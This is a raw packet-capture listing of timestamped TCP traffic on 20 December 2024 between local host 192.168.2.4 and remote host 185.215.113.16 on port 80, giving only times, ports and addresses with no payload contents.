Dec 20, 2024 11:12:32.000277996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.000505924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.000557899 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.001229048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.001276016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.001328945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.001378059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.002352953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.002403975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.002785921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.002832890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.003387928 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.003437996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.003484964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.003586054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.004436970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.004539967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.004657030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.004709959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.005446911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.005498886 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.005551100 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.005604029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.006531954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.006617069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.006691933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.006827116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.007684946 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.007735014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.008146048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.008194923 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.008672953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.008723021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.008773088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.008835077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.009701967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.009756088 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.009756088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.009803057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.010844946 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.010972023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.011002064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.011049032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.011873960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.011929989 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.012363911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.012485981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.013029099 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.013078928 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.013195992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.013253927 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.014552116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.014605999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.014761925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.014810085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.015294075 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.015347004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.015400887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.016046047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.016098022 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.017107010 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.017154932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.017157078 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.017191887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.017200947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.017260075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.018147945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.018197060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.018363953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.018413067 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.019284010 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.019330978 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.019334078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.019375086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.020267963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.020396948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.020457029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.021414042 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.021485090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.021933079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.022013903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.022397041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.022449970 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.022588968 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.022639990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.023494005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.023535013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.023593903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.023648024 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.024569035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.024640083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.024701118 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.024755955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.025568008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.025618076 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.025960922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.026025057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.026657104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.026753902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.027719975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.027755022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.027774096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.027791023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.027801037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.027832031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.028764963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.028825045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.029838085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.029874086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.029891014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.029911041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.029921055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.029954910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.030881882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.030930042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.031006098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.031058073 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.031955957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.032139063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.032188892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.033023119 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.033076048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.033334970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.033421040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.034051895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.034117937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.034796953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.035000086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.035083055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.035140038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.035216093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.035268068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.036154032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.036385059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.036446095 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.037276983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.037311077 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.037334919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.037365913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.038315058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.038368940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.038429976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.038563967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.039393902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.039427996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.039443970 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.039479017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.040467978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.040527105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.040581942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.040632010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.041456938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.041515112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.042000055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.042057037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.042571068 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.042619944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.042623997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.042665005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.043670893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.043704987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.043729067 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.043750048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.044842005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.044878006 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.044949055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.045763016 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.045798063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.045839071 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.045870066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.046777964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.046986103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.047035933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.047818899 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.047882080 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.047936916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.047985077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.048858881 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.048922062 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.049971104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.050004005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.050028086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.050043106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.050050974 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.050086975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.050977945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.051153898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.188061953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.188237906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.188335896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.188525915 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.188559055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.188580990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.188632965 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.189502001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.189554930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.189946890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.190584898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.190654993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.190732956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.190792084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.191623926 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.191679001 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.191787004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.191843033 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.192720890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.192780018 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.193496943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.193561077 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.193749905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.193795919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.193943024 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.193988085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.194812059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.194888115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.195518970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.195574045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.195908070 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.195943117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.195997953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.196926117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.196990967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.197598934 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.197653055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.198030949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.198066950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.198082924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.198108912 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.199040890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.199096918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.199326038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.199373960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.200082064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.200684071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.200741053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.201205969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.201239109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.201261997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.201287031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.202208996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.202306032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.202362061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.202420950 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.203285933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.203340054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.204014063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.204245090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.204382896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.204416990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.204432964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.204463005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.205389977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.205442905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.205945969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.206058025 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.206502914 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.206538916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.206588030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.207518101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.207565069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.208636045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.208669901 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.208679914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.208720922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.208722115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.208765984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.209636927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.209687948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.209690094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.209742069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.210689068 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.210738897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.211029053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.211174011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.211740971 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.211901903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.212414980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.212848902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.212884903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.212898016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.212924957 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.213856936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.213910103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.214340925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.214392900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.214924097 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.214971066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.215174913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.215225935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.216064930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.216264009 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.216315031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.217047930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.217099905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.217217922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.217263937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.218086958 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.218137980 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.218758106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.218811035 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.219201088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.219233990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.219249010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.219286919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.220288992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.220324039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.220375061 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.221268892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.221314907 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.221946001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.221997976 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.222357035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.222395897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.223375082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.223427057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.223464012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.223498106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.223515034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.223539114 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.224523067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.224663973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.225536108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.225572109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.225606918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.225625992 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.225655079 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.226628065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.226728916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.227510929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.227709055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.227746964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.227763891 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.227782011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.227812052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.228677034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.229325056 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.229366064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.229392052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.229739904 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:32.229837894 CET	80	49817	185.215.113.16	192.168.2.4
